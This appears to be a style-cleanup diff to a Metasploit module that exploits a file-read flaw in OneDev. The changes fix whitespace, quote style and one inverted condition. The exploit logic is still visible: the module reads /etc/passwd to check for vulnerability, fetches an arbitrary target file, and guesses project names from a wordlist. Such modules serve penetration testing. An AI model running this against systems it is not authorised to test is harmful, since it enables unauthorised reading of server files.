@@ -44,9 +44,9 @@ def initialize(info = {})
4444 OptBool . new ( 'STORE_LOOT' , [ true , 'Store the target file as loot' , false ] ) ,
4545 OptString . new ( 'PROJECT_NAME' , [ true , 'The target OneDev project name' , '' ] ) ,
4646 OptPath . new ( 'PROJECT_NAMES_FILE' , [
47- false , 'File containing project names to try, one per line' ,
48- File . join ( Msf ::Config . data_directory , 'wordlists' , 'namelist.txt' )
49- ] )
47+ false , 'File containing project names to try, one per line' ,
48+ File . join ( Msf ::Config . data_directory , 'wordlists' , 'namelist.txt' )
49+ ] )
5050 ]
5151 )
5252 end
@@ -59,7 +59,7 @@ def check
5959
6060 return CheckCode ::Unknown ( 'Request failed' ) unless res
6161
62- unless [ " OneDev" , "var redirect = '/~login';" ] . any? { |f | res . body . include? f }
62+ unless [ ' OneDev' , "var redirect = '/~login';" ] . any? { |f | res . body . include? f }
6363 return CheckCode ::Unknown ( "The target isn't a OneDev instance." )
6464 end
6565
@@ -68,14 +68,14 @@ def check
6868 if version . nil?
6969 if datastore [ 'PROJECT_NAME' ]
7070 res = read_file ( datastore [ 'PROJECT_NAME' ] , '/etc/passwd' )
71-
71+
7272 if res . body . include? 'root:x:0:0:root:'
73- return CheckCode ::Vulnerable ( " OneDev instance is vulnerable." )
73+ return CheckCode ::Vulnerable ( ' OneDev instance is vulnerable.' )
7474 else
75- return CheckCode ::Safe ( " OneDev instance is not vulnerable." )
75+ return CheckCode ::Safe ( ' OneDev instance is not vulnerable.' )
7676 end
7777 end
78- return CheckCode ::Unknown ( " Unable to detect the OneDev version, as the instance does not have anonymous access enabled." )
78+ return CheckCode ::Unknown ( ' Unable to detect the OneDev version, as the instance does not have anonymous access enabled.' )
7979 end
8080
8181 version = Rex ::Version . new ( version [ 0 ] )
@@ -123,17 +123,17 @@ def run
123123 project_name = datastore [ 'PROJECT_NAME' ]
124124
125125 if project_name . strip . empty?
126- project_name = find_project
126+ project_name = find_project
127127 fail_with ( Failure ::NoTarget , 'No valid OneDev project was found.' ) unless project_name
128128 else
129- fail_with ( Failure ::NoTarget , 'Provided project name is invalid.' ) unless validate_project_exists ( project_name )
129+ fail_with ( Failure ::NoTarget , 'Provided project name is invalid.' ) unless validate_project_exists ( project_name )
130130 end
131131
132132 res = read_file ( project_name , datastore [ 'TARGETFILE' ] )
133133
134134 fail_with ( Failure ::Unreachable , 'Request timed out.' ) unless res
135135
136- fail_with ( Failure ::UnexpectedReply , "Target file #{ datastore [ 'TARGETFILE' ] } not found." ) unless ! res . body . include? 'Site file not found'
136+ fail_with ( Failure ::UnexpectedReply , "Target file #{ datastore [ 'TARGETFILE' ] } not found." ) if res . body . include? 'Site file not found'
137137
138138 file_name = datastore [ 'TARGETFILE' ]
139139 if datastore [ 'STORE_LOOT' ]
0 commit comments